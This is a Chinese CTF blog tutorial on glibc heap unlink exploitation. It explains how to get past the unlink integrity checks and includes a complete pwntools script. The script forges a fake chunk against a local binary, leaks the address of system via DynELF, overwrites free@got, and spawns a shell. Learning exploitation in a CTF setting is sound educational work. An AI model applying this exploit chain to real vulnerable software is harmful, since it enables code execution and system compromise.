unlink利用介绍

使用电脑浏览效果更佳!

摘要

​ 记录当下加入检查机制的unlink宏一般利用思想,主要在glibc pwn下的unlink利用手法。

分析

unlink的工作

unlink(AV, P, BK, FD):P是在空闲双向链表中的freed chunk(如small bins,larged bins,unsorted bins)

  1. 在free检查前后是否可以合并的时候,对free(ptr) ptr前后相邻的chunk就是unlink的目标p(即把它从freed chunk链表卸下的一步工作);

  2. 在malloc检查到size符合small bin等(只有fast bin用fd的单向链表,LIFO的分配管理),分配chunk 从freed chunk 双向链表拿下

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;                                      
    BK = P->bk;    
    FD->bk = BK;
    BK->fd = FD;
}

由于没有检查的机制,对于任意伪造的fake freed chunk(构造user data中的fd,bk指针即可达到对任意地址pointer写机器字长(4bytes | 8 bytes)的数据,常见覆写free@got,free_hook函数等)

那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下

  • FD=P->fd = target addr -12
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr-12+12)=BK=expect value
  • BK->fd = FD,即 *(expect value +8) = FD = target addr-12(FD,BK的角色可以调换)

看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。但在expect value +8 的地址处已经被改变,这需要我们绕过。重要的是,当前的unlink已经加入了检查的机制

前面介绍的unlink思想还在,但需要我绕过当前加入的检查代码

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // largebin 中 next_size 双向链表完整性检查 
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);
  1. 对于 __builtin_expect (chunksize(P) != prev_size (next_chunk(P) 的检查绕过:

    对一个free掉的chunk(p = malloc(0x80),p返回的是指向chunk的user data开始的指针,chunk包含chunk header域,即p = mem,free(p)== free(mem),内有mem与chunk的指针转换)有两处记录chunk的大小,一是自己chunk header的size,二是逻辑虚拟内存相连的chunk的pre_size域(不管该下一chunk是否in_use)。绕过该检查容易,因为能够通过溢出伪造fake chunk,也能把该fake chunk下一块的pre_size改掉。

  2. 对于__builtin_expect (FD->bk != P || BK->fd != P, 0)的检查绕过:

    要注意到的是,此处的FD->bk、BK->fd和P都是chunk ptr,(这也是前面提出的chunk与mem的区别),我们只需要找到一处内存(ptr)内容(*ptr)为P(P是我们可控的malloc返回的mem pointer),即可绕过该检查

     //tr指向的内存保存内容 = p = malloc(),即记录了分配的内存mem指针。
     //对于32位平台
     FD = p->fd == *(p + 0x8) = ptr-0xc
     BK = p->bk == *(p + 0xc) = ptr-0x8
     FD->bk = *((ptr-0xc)+0xc) = p
     BK->fd = *((ptr -0x8)+0x8) = p//结构体的指针操作,->为一个取ptr内存保存值的操作
     //即可绕过检查
     //此处改写的内存为
     FD->bk = *((ptr-0xc)+0xc) = *(ptr) = BK = ptr-0x8
     BK->fd = *((ptr -0x8)+0x8)= *(ptr) = FD = ptr -0xc
     //即把原本保存malloc返回值的数组变量改为了对ptr-0xc的内容,即我们获得了改全局数组的改写权(因为后面的程序其他chunk的使用也是通过该全局数组内malloc返回的mem指针进行引用),相当于我们获得了自定义malloc分配的内存地址,因为我们有改写的指针引用,进而可以对任意地址内存写,如覆写free@got,__free_hook等
     //后面可以通过对chunk1改为对free@got的引用,对chunk1的写就是对free@got的写
     set_chunk(0,"A"*0xc + p32(ptr-0xc)+p32(free@got))
     //            padding + chunk0_mem_ptr+chunk1_mem_ptr+....

    上面的原理利用图:

    1564061351662

    对于更多版本的利用payload是否绕过:可以通过pwntools的debug检查程序卡在哪里

     context.update(os='linux', arch='i386',log_level='debug')
     # 需要debug的地方
     gdb.attach(p)
     # 脚本ctrl+c可以再开一gdb的调试

    1564061517009

    能够看出size与pre_size没有够造好。

程序演示

下面这个binary演示了简单的unlink利用,如前面部分介绍的利用思想,这里涉及到DynELF的使用(无libc泄露libc地址)和32位的传参栈布局

1564062135895

64位涉及到寄存器传参。

详细参考:https://www.anquanke.com/post/id/85129

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux') # 调试pwntools脚本payload在用sendlineafter | sendafter ,关键处进行gdb.attach,多开gdb窗口进行调试
# context.update(os='linux', arch='i386',log_level='debug')
p = process("./heap")
chunk_list = 0x8049d60
free_got = 0x8049ce8

flag = 0
def leak(addr):
    data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
    global flag
    if flag == 0:
        set_chunk(0, data)
        flag = 1
    else:
        set_chunk(0, data)
    res = ""
    res = print_chunk(1)
    print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
    return res[0:4]

def add_chunk(len):
    # print p.recvuntil('5.Exit\n')
    # p.sendline('1')
    # print p.recvuntil('Input the size of chunk you want to add:')
    # p.sendline(str(len))
    p.sendlineafter("5.Exit\n","1")
    p.sendlineafter('Input the size of chunk you want to add:',str(len))

def set_chunk(index,data):
    # p.recvuntil('5.Exit\n')
    # p.sendline('2')
    # p.recvuntil('Set chunk index:')
    # p.sendline(str(index))
    # p.recvuntil('Set chunk data:')
    # p.sendline(data)
    p.sendlineafter("5.Exit\n","2")
    p.sendlineafter("Set chunk index:",str(index))
    p.sendlineafter("Set chunk data:",data)

def del_chunk(index):
    # p.recvuntil('5.Exit\n')
    # p.sendline('3')
    # p.recvuntil('Delete chunk index:')
    # p.sendline(str(index))
    p.sendlineafter("5.Exit\n",'3')
    p.sendlineafter("Delete chunk index:",str(index))

def print_chunk(index):
    p.sendlineafter("5.Exit\n",'4')
    p.recvuntil('Print chunk index:')
    p.sendline(str(index))
    res = p.recvuntil('1.Add',drop=True)
    return res



raw_input('add_chunk')
add_chunk(128)  #0
add_chunk(128)  #1
add_chunk(128)  #2
add_chunk(128)  #3
set_chunk(3, '/bin/sh')

#fake_chunk
payload = ""
payload += p32(0) + p32(0x81) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk 
payload += p32(0x80) + p32(0x88)

set_chunk(0,payload)
###########################
# pwndbg> parseheap
# addr                prev                size                 status              fd                bk                
# 0x9e04000           0x0                 0x88                 Freed                0x0              0x89
# 0x9e04088           0x80                0x88                 Used                None              None
# 0x9e04110           0x0                 0x88                 Used                None              None
# 0x9e04198           0x0                 0x88                 Used                None              None
# pwndbg> x/10wx 0x9e04000
# 0x9e04000:    0x00000000    0x00000089    0x00000000    0x00000089
# 0x9e04010:    0x08049d54    0x08049d58    0x41414141    0x41414141
# 0x9e04020:    0x41414141    0x41414141
# pwndbg> x/10wx 0x8049D60
# 0x8049d60:    0x09e04008    0x09e04090    0x09e04118    0x09e041a0
# 0x8049d70:    0x00000000    0x00000000    0x00000000    0x00000000
# 0x8049d80:    0x00000000    0x00000000
# pwndbg> 
##########################
# pwnlib.gdb.attach(p)
#get the pointer
del_chunk(1)
set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8048420)) # 修改的是全局记录的指针数组,即buf[1]已经变为了free@plt

raw_input('leak')
#leak system_addr,通过DynELF,free@plt来泄露system的地址
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)

raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk('0', data)

set_chunk('1', p32(sys_addr)) # 把free@plt覆写为free@got的内容,因为前面已经运行了free,got记录了真正的free的地址

del_chunk('3')
p.interactive()

程序流程

1564061750675


  转载请注明: thonsun's blog unlink利用介绍

 上一篇
LIEF在CTFpatch常用API LIEF在CTFpatch常用API
使用电脑浏览效果更佳! 摘要​ 记录LIEF在CTF中打patch的常用函数,更多详细参考官方文档。 链接,此处记录在CTF方面的应用详细。LIEF不仅仅用于ELF文件的修改,还可以在PE,Mach-o,Android等方面都有应
2019-07-27
下一篇 
off by one 利用原理 off by one 利用原理
使用电脑浏览效果更佳! 摘要​ 记录分析off-by-one(off-by-null,只是覆盖一字节内容不同而已)的漏洞利用原理,使得萌新如我在看ctf-wiki上的pwn的glibc利用手法能够深入的了解off-by-one的原
2019-07-24
  目录